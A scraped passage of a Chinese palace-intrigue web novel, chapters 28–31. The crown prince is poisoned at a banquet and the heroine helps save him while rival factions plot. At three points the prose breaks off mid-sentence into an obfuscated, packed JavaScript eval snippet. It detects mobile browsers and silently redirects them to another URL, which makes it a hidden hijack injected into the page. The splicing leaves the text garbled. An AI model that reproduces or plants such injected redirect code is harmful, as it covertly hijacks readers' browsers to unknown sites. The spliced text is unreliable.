“透花糍是什么?”应子清眼神一亮。
薛沛南在她身旁坐下,将手中的东西给她看。
碟中盛了枚晶莹剔透的糕点,做得跟雪中的梅花花瓣似的精巧。
“尝一尝。”薛沛南把糕点放在应子清的小案桌上。
应子清没客气,立刻伸筷子,夹了一块。
透花糍吃起来跟豆沙包一样,只不过御膳房的手艺太好,做得绵软细腻,入口即化。
“喜欢吗?我就知道,你们女孩子都喜欢吃这个。”薛沛南很得意,“所以特意拿过来给你尝尝。”
薛沛南注意到刘之衍在看他们,冲他行了一礼:“参见太子殿下,殿下万安。”
刘之衍看了眼薛沛南的白玉碟,又去看被冷落在一旁的丹顶鹤,脸色不太好,没作声。
“是吗?还有哪个女孩子喜欢吃?”应子清又夹了块,眨着一双大眼睛,望着薛沛南问。
薛沛南突然卡了下壳,没回答这个问题:“你喜欢就好。”
应子清看薛沛南的腰间,挂着枚福禄寿的小荷包,不论是上面青嫩秀美的颜色,还是花鸟图案,都像出自妙龄少女之手。
应子清像抓着什么小八卦,饶有趣味地打量薛沛南。
刘之衍咳了声:“子清。”
“干什么?”应子清回头。
刘之衍并没有什么话,但眼眸里的郁色,明显变深。
那眼神,看得应子清心里毛毛的。
薛沛南送碟糕点,打了招呼匆匆走了,宰相薛正源也在今天的宴席上,他不能离开父亲太久。
就这么两三句话打岔的功夫,宴会变了个话题。
庆帝举着酒杯,遥遥对着刘之衍问道:“衍儿,你怎么看待这个事情?”
宴会厅渐渐安静下来,所有人抬起头,看向太子。
刚刚薛正源在宴会上,说起边疆受摩罗侵扰的事情。
摩罗是西北的一个游牧民族,靠放养牛马吃饭,逐水草而居。然而遇到不好的时节,譬如今年寒冬,草原下了厚厚的大雪,冻死大批牛羊,他们打起了晋朝边塞城市的主意,掠夺粮草。
摩罗此族,生性残忍猖獗,每次掠夺,都会烧杀抢掠,死伤无数,极其野蛮。
此次,摩罗入侵一个叫边朔的城市,他们照例将城中子民蹂躏一番,然而收尾时,竟狂妄地烧了把火。
薛正源不能隐瞒战事,何况摩罗此次挑衅,前所未有,他只能赶在庆帝健康稍稍恢复的时刻,一一阐述,盼望皇帝处理这桩急事。
战争向来残酷无情,应子清听得心情沉重,可是,当众要刘之衍讲话,又是一桩难事。
应子清小声问:“你可以吗?”
刘之衍微微转过来,神色平静:“我好像找不到香包了。”
“青锁香风”说是香包,其实是能助人平心静气的药,刘之衍能不能稳定心神,很大程度上,依赖这枚香包。
应子清记得,明知道今晚是公共宴会,出来的时候,她特意给刘之衍戴上。
怎么现在才说找不到?!
应子清连忙膝行向前,在桌案的遮挡下,伸出手去,摸索刘之衍的腰间,帮忙找一找。
刘之衍握住应子清的手,神色平静:“不用找了,就这样吧。”
就哪样?
应子清莫名,随后才反应过来,刘之衍说的是,他不需要依赖香包,就这样牵着她的手。
刘之衍抬起眼眸,对着庆帝,以及众位大臣,谈起他对摩罗入侵一事。
他眼神冷静,语气平稳,侃侃而谈,根本听不出往日的口讷。
庆帝一瞬不瞬,注视着刘之衍,时而点头,时而眼中流露出一两丝精光。
宫灯盏盏宛如繁星,灯光明媚璀璨,却仍有晦暗不明的地方。
在帷幔与宫柱的交界之地,应子清恰好就呆在这处。
刘之衍此时正是厅中的焦点,应子清想努力缩小自己的存在感,可是大庭广众之下,手被牢牢牵住。应子清想离他远点也做不到,只能低垂着头,默默期望没人发现。
不过,听刘之衍讲了一会,应子清竟渐渐听得入神。
“父皇,儿臣今日斗胆进言,既是希望朝廷稳固,百姓安康,也希望能替父皇解忧。个中利弊,望父皇圣裁。”刘之衍平静垂眸,作了个总结词。
全场安静,连乐声与歌舞也停了。
庆帝仍然在看这个儿子,口中却问薛正源:“宰相,你怎么说?”
薛正源低头沉吟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629753|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,仔细思索刚刚刘之衍的话。
应对摩罗入侵之事,向来不外乎几种,要么应战,要么谈和。倘若是遇上国之将倾,实力不济,也还有割让土地、保平安之说。
刘之衍的策略,即是他的性格的延伸。
太子殿下说了一大通理由,不外乎一个字:打!
作为未来的君王,刘之衍有这样热血与秉性,自然振奋人心。
但薛正源沉默,是因为这位太子殿下今日的表现,与以往大相径庭。
在场的公卿贵族们的安静,也是因为这一点。
究竟是传闻中,那个顽劣不堪、性格暴戾的太子殿下是真的?还是今日这位,发表一番振聋发聩言论的太子殿下是真的?
大家都有点拿不准什么情况。
应子清悄悄地看他。
之前刘之衍说过,需要等到合适的时机,才能告诉众人,他的暴戾之气已经好转。
现在,他不装了。
见到刘之衍好转如此,庆帝显然是最高兴那位,他拍着桌子,笑起来:“怎么,宰相大人,士别三日,当刮目相看。我这个儿子,今天说的话,是不是吓到你了?”
薛正源躬身摇头:“不敢不敢,太子此番金玉良言,鞭辟入里,臣等受益匪浅。”
庆帝转头,又问了几位大臣的看法。
一等一的军机要事,不可能在宴会上作出决定。
庆帝只不过心中过于欢喜了,忍不住招大家的话头,让大家夸一夸太子的进步。
众位大臣看出庆帝的意思,纷纷赞美不绝。
应子清心里嘀咕,这刘之衍,真会利益最大化。
刘之衍不选在一个温馨脉脉的家庭场合,而是选在这个众目睽睽之下,最关键的时刻,全方位展示自己的新形象——原来只能一个字一个字说话的人,变得口若悬河,字字犀利。
如何不叫人惊讶、侧目。
别管这些朝廷重臣夸奖的,是不是真心实意,至少太子殿下先前还很难听的名声,一下扭转过来了。
不愧是有学者综合症的天才,当他稍稍用心的时候,他就能成为这个领域的佼佼者。
只不过之前,刘之衍被小小的门槛,给拦住了。
这个小小的门槛,好像被她铲平了……
席位的对面,安景王与姜泽语的脸色,极其难看。
庆帝内心里的愉悦,简直遮盖不住,一向苍白的脸色,浮起些许异样的红润:“太子今日所言,颇有章法,多有可取之处。来人,把朕的酒,赐给太子殿下。”
刘之衍心平气和,微微颔首:“谢父皇赐酒。”
庆帝眼中满是期许,倏尔,他又想起另一件事:“怎么,今日太子的生鱼脍,没给他端上桌?难道朕定下的规矩,都能忘吗?”
刘之衍没作声。
应子清心里飘过一连串省略号,这是什么父亲。
美酒先送上来,用的是皇帝才能用的龙金杯。
刘之衍接过酒樽,再度向庆帝道谢后,送至唇边,一饮而尽。
天子亲自催促,小太监急急将生鱼脍呈送上来。
毫无征兆的,刘之衍整个人轻轻晃了晃,栽倒在桌案上。
应子清正想说不必故技重施吧,可是当她看过去,刘之衍面色惨白如薄纸,双唇失去血色,额头泛起密密汗珠……
不似作伪!
他真的出事了!
29. 第 29 章
应子清站起身,一声呼救就在唇边,可是她停住了。
一个极可怕极冰冷的念头,悬在她的心头。
“如果刘之衍死了呢?”应子清的心,咚咚狂跳,跳得她手指发麻。
如果刘之衍在此时死去,接下来不需要她做什么,她的任务会变得简单。
庆帝还在,他会从刘氏家族挑选新的继承人。其他的亲王蠢蠢欲动,可能会引起混乱,但这种混乱很短暂,局面会很快稳定下来。
就像历史上发生过的,那么多次夺位之战。
混乱会引起人们对安稳的渴望,于是新皇众望所归,平稳地继任大统。
王朝毁灭之说,自然迎刃而解。
至于刘之衍,会成为年纪轻轻就卒去的少年太子。史料会简短地勾勒一下他糟糕的生平,疯太子,口讷,暴戾,弑杀乳母,因折磨宫人引起的巫蛊案。庆帝承受着丧子之痛,也许会责令史官,抹去一些痕迹,给他的独子,留下一个好的评价。
刘之衍长得很好看,有一头漂亮的黑长发,射箭很棒,精通乐理,还会谱写曲调。他脾气是差了些,但鞭笞宫人是没有的。总的来说,刘之衍其实很善良,很有孝心……可是,这些种种,统统不被人记住,也无人在意。
就连应子清本人,也只关心她能不能回去,没怎么放在心上。
刘之衍安静地趴在桌案上,乌黑长睫在毫无血色的脸上,落下一小片阴影。
他像睡着了那样,无声无息。
但应子清可以看到,他心口的起伏程度,越来越弱。
他的生命,正在迅速流逝。
明明刘之衍能摆脱香包的辅助,对着众人,流利地侃侃而谈。他正在努力扭转自己的形象,向众人展示他从未被人注意过的能力,要知道他是天才啊……难道,他要像夜空里的烟花一样,倏然而逝吗?
应子清的手指,禁不住发抖。
正感觉惶恐无助时,记忆里刘之衍,把冰凉的手放在她脑袋上,无声地安慰她。
“来人……”声音已经不受主人的控制,自主地从唇边逸出。
然而,音量还很小,小到只有应子清能听见,她在呼救。
“来人!”应子清沉了口气,这次用上腹部的力量,竭力高声道,“快来救人啊!!!”
少女的呼叫声,慢慢引起骚动。
宴会上,不少人注意到应子清的声音,满脸奇怪地望过来。
事关太子,现场不少人站起身。
薛正源一行朝廷重臣,彼此交头接耳,纷纷询问怎么一回事。
呼救时最怕的是,每个人都听见了,但都不在意,当作耳旁风。
好不容易抓住这帮朝廷重臣的注意力,应子清急忙对着这些人,用力喊道:“救命!太子殿下昏倒了——”
她早就判断出,刘之衍中了毒,但她不敢当着这么多人点出来,只能委婉道出。
那群朝廷重臣哪个不是人精?即使没听出应子清玄外之音,也知道太子殿下骤然昏迷,事情非同小可。
宴会上,哗然不止。
可是陛下在此,他们怎么敢越俎代庖,使唤这些宫人作出应对?
不过,重臣有重臣的办法,有机灵的,快步跑去通知不远处的皇亲国戚。
那些公侯王爷纷纷放下筷子,皱紧眉头,朝太子这边看来。
赵王爷正与赵王妃慢悠悠饮酒,一听,赵王当即觉得不对,立刻挥手叫来太监。
两人腿脚利落,迅速穿过高朋满座的大殿,登上台阶,赵王来到庆帝的身边,附耳告知。
“什么?!”庆帝满脸震惊,扶着座椅,倏然站身,“怎么回事?好端端的,我衍儿怎么了?”
庆帝猛地朝刘之衍所在的席位看过去,刘之衍果然一动不动,趴在案桌上,赐给他的龙金杯从桌案滚落在地。
刘之衍身旁的宫女太监,都不敢靠近,只能围着太子殿下干着急。
望着那只打翻的龙金杯,庆帝心里闪过不详的预感,刚刚还欢喜的心情,遽然惊恐。
庆帝本是久病之人,哪里经得起这么大情绪起伏。他本欲呼太医来救治太子,还未开口,顿时觉得一阵头晕目眩,颤巍巍地向后栽倒。
宫女太监手忙脚乱,连忙把庆帝扶住,没让他倒下去。
凤鸟凤冠,曲颈高昂,闪耀着熠熠金光。凤鸟的眼中,点缀如鸽血般殷红的宝石,无须借助灯火,凤鸟耀眼灼目,振翅欲飞。
窦皇后眼眸似盈盈秋水,鼻梁高挺,朱口轻抿。
她本就长得端雅大气,多年皇后生活,又滋养出雍容华贵的气场。漂亮是漂亮,但她身上那股睥睨万物的倨傲之态,压倒了其他的气质。
看着眼前诸多乱象,窦皇后挽起宽宽的长袖,端起金凤杯,细细饮了口。喝得差不多,窦皇后慢条斯理,整理下龙凤呈祥的明黄凤袍,款款起身。
莲步轻移,窦皇后仪态端庄,站在离庆帝两三步的距离停下,从容不迫地发问:“陛下,您这是怎么了。”
庆帝此时哪里还能回答。
伺候庆帝最长时间的申山申公公,慌忙回话道:“皇后娘娘,陛下晕厥了!”
“还不止!”申山抖着手指,遥遥指向一个地方,“太子殿下那边,也出事了!”
申山躬下身子,忍泪含悲,朗声道:“还请皇后娘娘主持大局!”
皇帝太子,一个两个都倒下,傅太后因为年纪大精神短,不爱待客,席宴摆在另一边,不好惊动。
这个时候还有权力主持大局的,唯有中宫皇后。
窦皇后细长的远黛眉,轻轻一蹙,她侧过头,冷然道:“乌嬷嬷在哪?”
“奴婢在。”一直站在不远处的乌嬷嬷,上前一步,屈膝躬身。
“去吧,把太医院的院判太医们叫来。”窦皇后看着乌嬷嬷,沉吟道,“这些天守在陛下身边的沈院使,林院使们,十分辛苦,好不容易得了空,让他们继续休息。窦院使,此次是不是跟来了?”
乌嬷嬷抬起眼,回答道:“是,为了备着各宫的需要,窦院使跟来了。”
骊宫作为温泉别宫,事事不比长安城周全,许多东西要从长安城带过来,连人也是如此。
“那就好,我侄子虽然年纪轻,医术向来高明,让他赶紧过来,给陛下瞧瞧病。”窦皇后轻轻点头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654791|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是,奴婢马上去!”乌嬷嬷转身就走。
沈林两位太医院院使,是最清楚庆帝病情的人,庆帝一直由这二位院使疗治。乍然换医生,叫一个从来没接触过庆帝病情的人来看,未免有耽误病情的可能。
而且,皇后娘娘是不是把太子殿下给忘了……
申山欲言又止,可是皇后威仪赫赫,他哪里敢出声询问,只能在心底盼望着,窦太医迅速赶来,着手处理眼下的乱象。
有皇后娘娘运筹帷幄,骚动混乱的现场,渐渐安静下来。
宴席显然再不能继续开下去,薛正源身为宰相,在这紧要时刻不愿意离开,跟着太医们,前往庆帝居住的暖玉琼台。
应子清的心情,跟上了发条的闹钟一样,每一秒都在发紧。
众目睽睽之下,她不好自作主张,上前施救。
然而,望着刘之衍白得几乎透明的唇色,应子清恨不得把这些酒囊饭袋,统统赶走,自己上去来一套中毒抢救措施。
指甲几乎在掌心刻出血印。
应子清在脑中,过了无数遍抢救步骤,她忍不住就要动手了!
两个年轻太医紧赶慢赶,将将来到刘之衍这里。
众人赶紧让开一条路,让两位太医救治。
这两名太医,一个查看了下刘之衍的气色,一个给刘之衍把了把脉象。
那个的脑袋左摇右摆,晃了半天,小声说,自己好像没把对脉,能不能让对方来看看。另一个说,自己没看出太子脸色有什么异样,须得回去查查。
两人慢慢吞吞,磨磨蹭蹭,所做的每一步,与庸医无甚区别,叫应子清窝火不已。
医生出来救人,还要回去查书?!
等这两个庸医查完医书,人早拖死了。
应子清看了眼高台之上,母仪天下的皇后昂然而立的身影,心里多少有了数。她想了想,她必须介入,要不然,太子的病情,一定会被耽误。
心神一定,应子清排开众人,跨步上前:“我是东宫应司直,你是何人?”
其中一个面白如玉,犹如书生,他好气性儿地看了眼应子清,彬彬有礼道:“应司直?下官是孟医士,接窦院使的命令,前来给太子殿下看病。”
医士,官职比应子清还低。
就好像没经过临床实践的实习医生,被上司点出来,给太子看病。
孟医士怎么敢随便下医嘱?
就算看出太子殿下是中毒,他只能回去禀报窦太医,让对方拿主意。
一来一去,皆是拖延。
中毒不比其他,虽然不至于即刻毙命,可时间拖得越久,进入心脉的毒素越多。就算救回来了,谁知道会不会留下什么致命后遗症?
窦皇后、窦院使,任谁都不能说他们窦家人,不做实事,就是不上心而已。
应子清心里涌起一阵悲愤,她忍了忍心中的火气:“你们能不能先把太子殿下送回沐云居?先把太子殿下送回住所,再说其他。”
孟医士和另一个医士对视一眼,点了点头。
几个人轻手轻脚将刘之衍扶起,让一名小太监背着,急急赶回沐云居。
30. 第 30 章
宫女提着宫灯,在前方疾步开路,应子清随着一大堆人。
殿中宫柱,有一道灰色的影子藏在后面,幽幽唤道:“灵清子。”
那声音是捏着嗓子发出来的,飘渺哀怨。
大深夜里,应子清吓得鸡皮疙瘩都起来了。
迟早被安景王派来的小太监给吓死。
“你们先走,我有急事要处理,一会再过来。”应子清看着孟医士,“孟医士,这是太子殿下,不比其他人。若是耽误病情,陛下与皇后娘娘问起罪,那时候,谁都逃不掉。”
似是被她的话点醒,孟医士脸色白了,他深深看了眼应子清:“下官知道了,多谢应司直提点。”
那群人众星捧月似的,带着刘之衍离开,应子清看着他们有些不舍。不过她转身,朝小太监那边走去,先处理安景王这边的事。
灰衣小太监领着应子清,七拐八转,把她引到静谧庭院的一隅,一处精巧的温泉池边。
四周无人,温泉池的一侧,细腻温润的汉白玉雕了簇簇芙蓉,花瓣缓缓绽开。池中蓄的温泉水汩汩流动,清澈见底,氤氲白茫茫的热气。
石壁里亮着火烛,光线若隐若现。
等人的空隙,应子清不经意间,打量湖面模糊倒影。
那水面,浮现一个穿纱衣襦裙、梳螺髻的少女,她的一颦一笑,一举一动,如同古画上走下的仕女。
宫里的镜子是黄铜,照得不如现代的镜子清晰,应子清心里嫌弃,极少照镜子,很少审视自己的模样。
来了这么多天,她从未觉得自己跟这个大晋朝有什么关系。此时,却恍然发觉,她的举手投足,她的神思仪态,不知不觉染上这个时代的痕迹。
望着那陌生又熟悉的倒影,应子清心里,多了种说不出道不明的意味。
温泉别宫留了许多王爷大臣,他们当中有不少人,第一次到传说中帝王的游幸别宫。这夜,许多人决定秉烛夜游,四处逛逛。
安景王不必担心避嫌,负着手,与姜泽语两人,庭中散步似的,慢慢走来。
“灵清子,久等了。”安景王悠然道,“这么晚了,把你召来,希望你别见怪。”
“王爷。”应子清看着他,“请问有什么急事?”
如果不是急事,他犯不着忙忙地支使人来找她。
“灵清子,几日不见,又升官了,你确实有一些能耐。看来你在东宫,过得如鱼得水,得到你这样的人帮助,是我的运气。”安景王十分满意,打量她的眼神里,多了几分深意,“不知事成之后,灵清子有什么愿望,需要我效劳?”
应子清沉默片刻,回答:“天下太平,百姓安居乐业,是我的心愿。”
“说得好!这也是我的心愿。”安景王禁不住一叹,他对应子清的回答满意极了,不住点头。
可应子清丝毫没有被赞赏的快乐。
姜泽语恰时插进一句话,眼中闪烁微妙的探究之意:“灵清子心系天下,胸怀大志。有大志向的人,想来,是不会被蝇头小利,蒙蔽双眼,迷失了方向。”
应子清听到这里才明白,原来安景王担心她步步高升,起了首鼠两端,左右逢源的念头。这时候把她叫出来,未尝没有敲打她的意思。
她觉得膈应,蹙着眉心,没有说话。
安景王看着少女白皙小巧的侧脸,见她不言不语,以为她动了怒,便微微笑起来,打个圆场:“姜先生,不必说这种伤和气的话。灵清子是聪明人,清楚自己在做什么。”
应子清脸色变得难看,心情更加凝重。
安景王手中,捻着一串上好的白檀木珠串:“灵清子,晚宴的时候,我离得远,看不清楚,太子到底发生什么事?”
“他中毒了。”应子清简短道。
这种大事,无须刻意隐瞒,第二天一早,所有人都会知道。
“原来如此。”安景王随口答道。
安景王没有露出一丝意外的神情。而姜泽语偏了偏脸,他似是有轻微的不解,随后释然般,眼开眉展。
把他们神色尽收眼底的应子清,心里不禁起疑。
这个时候,她忽然想起一个至关重要的问题。
刘之衍的毒,到底是谁下的?
是窦皇后?还是安景王?又或是,她还没注意到人?
为什么安景王知道后,完全不觉得奇怪?难道,只因为他不关心刘之衍是否中毒,是否能救回来?
半晌,安景王望着应子清,道出他此行目的:“灵清子,今天的太子,让我很不安。”
“前不久,当着众人,刘之衍尚且言语磕绊,他每次说话,不过是徒增笑料。”安景王心事重重,“什么时候,他变得如此谈笑自如了?”
应子清抬起眼,眼眸平静无波。
“刘之衍变了。”安景王半是下命令,半是商量的口吻,“本王希望你能帮我找出原因。”
“原因?”应子清没听明白。
“若是单靠他自己,他早就转变了,何必等到今日。”安景王满脸阴沉,揣测道,“他有如此惊人的变化,一定是有人帮他。灵清子,你最好帮本王,把这个人找出来。”
应子清:“……”
我查我自己?
应子清没马上答应,她缓缓转身,问安景王一个问题:“今日晚宴,薛宰相说起摩罗入侵边朔一事。王爷,你是怎么想的?”
“摩罗?”乍然听到这个与他们所谋之事,毫无关系的地名,安景王神色有些空白,“摩罗如何?”
应子清只得重复一遍:“王爷,摩罗入侵,是如今朝中最为重要的事,您难道没有想法吗?”
安景王漫不经心,似有不屑:“这等蛮夷小族,整日在草原上养牛放马,那里的人也跟饿狼一样,只知道扑食。摩罗贪婪成性,看似穷凶极恶,其实难成气候,不足为虑。”
“但是,王爷,”应子清眼眸清亮,语气平和,“摩罗如今正骚扰边疆,他们烧杀劫掠,屠杀我大晋子民。因为这帮蛮族,幸存的边民们不得安生,流离失所。等王爷继承大统,对屡次进犯的摩罗,有什么应对之策吗?”
安景王眉头紧锁,细细思虑:“若本王果然继任大统,尚有千头万绪的事,怎么能让这等蛮夷叨扰我的大计?成大事者,不拘小节。本王以为,暂时与这蛮夷求和,谋得片刻时机,巩固权柄,才是最佳之策。”
“灵清子,眼下讨论此事,为时尚早。”安景王心思不在这种小事上,不欲多谈,“还是帮我查出是谁帮刘之衍恢复正常,最为重要。”
应子清静静审视安景王,此人眉目俊朗,端的是贵气十足。
可不知道为何,听了他的话后,应子清再也不觉得,他有帝王之相了。
安景王是王爷,却是个金尊玉贵养大,不知人间疾苦的贵族。
应子清脑海中浮现一个画面。
烽烟乍起,安景王趾高气昂地上战场,可是一旦遇到危险时刻,又或是看见兵败的可能,他会吓得腿脚发抖,只希望保命退缩,以金银换取庇护。
安景王巡视温泉附近,转而道:“我们在这里谈太久,本王该走了。另外,灵清子,刀剑是不长眼睛的,你在东宫行走,请多加小心。”
“什么意思?”应子清被他话里的寒意,弄得心惊肉跳。
安景王左右看了看,压低声音:“棋盘已经铺开,棋子们各就各位。如果顺利,就算撑过此次宴会之毒,刘之衍也活不了太久。”
“本王不希望在这种时刻,多生事端,所以我要尽可能的,除去太子身边的助力。”安景王目光变得锐利。
“灵清子,找出帮助刘之衍的意外之人!”安景王掷下这句话,将披风一甩,与姜泽语走入夜色深处。
即使是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673294|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小小的一只蝎子,亦可藏着无尽的毒意,毒得人痛楚难忍,丢掉性命。
何况安景王,有着不容小觑的杀伤力!
应子清满怀心事,朝沐云居走去。
窦皇后绕着回廊,缓步走动,头上的金凤熠熠,明黄凤袍裙摆拖地。
乌嬷嬷微垂身躯,慢慢跟着:“娘娘,夜已深,可是累了?”
窦皇后噙着一丝不易察觉的浅笑,朱唇犹如尝过血的玫瑰,鲜艳欲滴:“今晚发生了很多事。”
今晚发生的,没有一件好事,可她看上去心情愉快。
乌嬷嬷没有多话,但她牵起嘴角,也是一副愉悦的模样。
“太子怎么这个时候中毒?”窦皇后想到什么,询问道,“我记得,我们的计划还没开始。”
乌嬷嬷也觉得奇怪,她琢磨道:“太子身子弱,他小的时候,零零碎碎喝了不少药。像安神汤,定心丸,听上去是好东西,可是它们药性不同。如果调配不当,容易互相冲撞。许是从前积累的太多,诸药相悖,他突然受不住了吧。”
“喝药也能喝成这样,这倒是他的无能了。想作太子,没有好身体怎么能行?”窦皇后摇了摇头,“我就是担心出了什么防不胜防的事,横生枝节,让我们措手不及。”
“太子今日,难得有这种表现,陛下看起来很高兴,连病也好了不少。”窦皇后挑了挑精致的眉稍,朝沐云居看过去,“谁知道发生这种事,这是他们无福了。”
沐云居宫灯高悬,灯火通明,亮若白昼。
殿门大敞着,太医们神色匆匆,忙进忙出。
明明情况比之前坠马要危急,沐云居不论是宫人,还是太医的数量,比那时的情形,要安静稀疏得多。
东宫的宫女太监,尽管心里有不少疑问,可他们大气不敢喘,个个惴惴不安守在门外。
窦皇后安静地注视着,仿佛在欣赏一幅绝佳的图画。
一位身穿绯红宫装的少女,恰若一道鲜艳夺目的云霞,翩然而至。她裙摆飞扬,脚步轻盈,匆匆闯入这幅画。仿佛平静的湖面,被投了一颗碍眼的石头,打乱了原有的节奏。
宫灯里的火光,因为她的到来,摇曳晃动。
窦皇后不喜欢这种变故,她侧首询问:“那人,是不是之前朝见本宫的小宫女。”
乌嬷嬷抬头,仔细观察一下那位不速之客:“是她,她的名字叫应子清。”
“把她叫来。”窦皇后命令。
乌嬷嬷当即伸出双手,合掌一拍:“应司直,请到这里来。”
应子清脚步一滑,差点跌跟头。
这么晚了,皇后怎么在这里?
她只能硬生生停下脚步,向廊下走去,恭敬地行了一礼。
窦皇后看她的目光,带着若有若无的威严:“应司直?太子殿下那边出了情况,你在他身边,须得小心伺候。”
应子清愣了下,小心称是。
“他那边有任何风吹草动,你该如何?”窦皇后漫不经心,走了两步。
“奴婢……”应子清轻声道,“奴婢定当用心留意,一有异动,即刻向皇后娘娘禀报。”
窦皇后可有可无,微微点头:“你是个聪明伶俐之人,你若有需要帮助,不妨也来告诉本宫。好了,你下去吧。”
看上去,并未完全信任她。
应子清没办法照顾她的想法,只能再次行了一礼,转身时,心中猛地闪过一阵悲哀。
这夜,她在不同的人之间周旋,到此时才知道刘之衍身边,群狼环伺。
每个人在窥伺他,打着自己的主意。
原来有那么多人想让他死。
连她自己,也在某一刻闪过这样的念头,他要是死了,任务是不是会简单些。
应子清袖中的指尖冰冷地发着抖,她抬头看了眼沐云居的牌匾,深吸一口气,跨了进去。
31. 第 31 章
深红帷幔一掀,应子清环视屋内。
香巧语兰和吴内祥,仅有几个日常伺候在刘之衍身边的人,还留在这里。
五六个懵懂的小药童,在外间守着药炉子,孟医士和太医们皆不见了。
“子清姐姐,你回来了!”语兰一见到应子清,松了口气,快步迎上来。
应子清皱了下眉:“你们把太子送回来后,太医们所做的每一件事,都还还记得吗?”
语兰冷不防被这么一问,迟疑道:“大概记得住。”
香巧机灵,眨了眨眼:“我知道,我来说!”
两人把孟医士与其他太医做的事情,毫不隐瞒,一一告知。
中毒以后,古代所能做的催吐,放血,还有服用解毒的药物,孟医士认认真真全做了。哪怕太医院院判来了,差不多做到这种程度了。
古代的用药剂量不可能大,纯度也不够,要是放在现代,赶紧送人民医院,早就解了。但是此地条件有限,剩下的,只能听天由命。
应子清问:“孟医士有没有说过,他中的什么毒?”
香巧和语兰都摇了头。
孟医士不可能把这种极为重要的机密,告诉两个小宫女。
“我知道是什么毒。”吴内祥惨白一张脸,木塑似的三角眼,盯着应子清看,“殿下换下来的衣服上,残留些许酒渍。那酒之外,还有一种气味,是三棱花。”
“咱家小时候,长在南蛮之地的险恶之处,那里多的是毒花野草。三棱花的气味,我不可能认错。”之前吴内祥在寒冬里跪久了,手冻坏了。大片皮肤坏死开裂,红红紫紫不好看,这些天他时常笼着袖子。
应子清见是他说话,一时间不知道如何回应。
“应司直。”吴内祥似是不在意他们先前的矛盾,走近应子清,“你素日行事与旁人不一样,咱家知道那是你神通广大,博闻广识之故。殿下此次遭奸人投毒,请应司直救殿下于危难之际!只要应司直救下殿下,这份恩情,由咱家来还!”
说罢,吴内祥扑通一声,对着应子清跪下,磕头碰脑。
吴内祥说的话和行动,都很惊人。
屋内一阵静默,给吓得,众人不知道做什么反应。
应子清头疼,她实话实说:“吴公公,我的确知道不少。既然你认定是三棱花,那么孟医士所做,已经解了殿下的毒性,你不必如此。”
应子清以眼示意,旁边的小太监收到信号,赶紧把吴内祥扶起来。
此时还呆在房间里的,全是东宫的自己人,他们的荣辱与安危,皆与刘之衍息息相关。哪怕不是真心为着刘之衍,为着自己的性命,今夜也是战战兢兢。
唯恐第二天庆帝醒来,觉得东宫的人伺候不当,一个大怒,将他们统统关进掖庭局,受尽折磨。
应子清见他们个个面有惧色,觉得有必要跟他们解释,于是站起身,对众人道:“三棱花性寒味苦,此花的表皮有剧毒。应是有人,割下三棱花的表皮磨碎,掺入殿下的酒杯之中。”
听到这里,已经有人忍不住,呜咽出声。
吴内祥将长袖一振,对着那人,厉色道:“殿下活得好好的,你哭什么!殿下撑过此次危难,轮到福气来了,你该笑才是!应司直还未说完,且听她如何说!”
应子清继续道:“毒也要分多少,沾一点,和喝一大斗,结果是不一样的。殿下饮用的酒水只有一小杯,那就是中毒不深。我找香巧语兰询问,就是想知道,孟医士是如何处理的。”
“那待如何?”吴内祥听得心急,忍不住发问。
“你们放心,孟医士所作所为,遵循古书的记载,无可挑剔。”应子清慢声道,“相信要不了多久,他……会醒来。”
话是这么说,可是应子清心里清楚,如果只有这一种毒素,也就罢了。
这么些年,谁知道刘之衍断断续续喝了多少不明不白的东西。
吴内祥同样没有露出轻松的神情,他默默消化了会,转头对她道:“应司直,在众人眼里,殿下享受金尊玉贵,享受无上尊荣。可又有几人知道,生于帝王家,是何等的艰辛。相比其他妃嫔,李贵人的出生不能算好,千辛万苦得了殿下,她是哭比笑多。”
“奴家看着殿下长大,殿下过得是如何谨小慎微,历经了多少艰险,远非常人想象。”吴内祥满脸肃容,匍匐在地,再次向应子清行了一个大礼,“若是应司直不做那背信弃义之人,甘心襄助殿下,奴家定铭记在心!”
夜深了,吴内祥把旁的不相干的人一起带走。
极深的山里,乌云疾行,万千枝头被厚重的积雪压弯了,噼啪一声,纷纷断裂。
沐云居的室外,刮起大雪,寒冬朔风呜呜直吹。
织锦帷幔静静垂下,将细小的风雪声挡在外面。
卧室里的烛火,亮着悠悠的光,香炉熏着袅袅烟雾,火盆里烧着银炭,温暖宜人。
人前的时候,应子清尚能镇定自若,一旦呆在这种夜深人静的时刻,思考者眼下的情况,她心里没多少底气。
望着刘之衍的睡脸,应子清安静地发着呆。
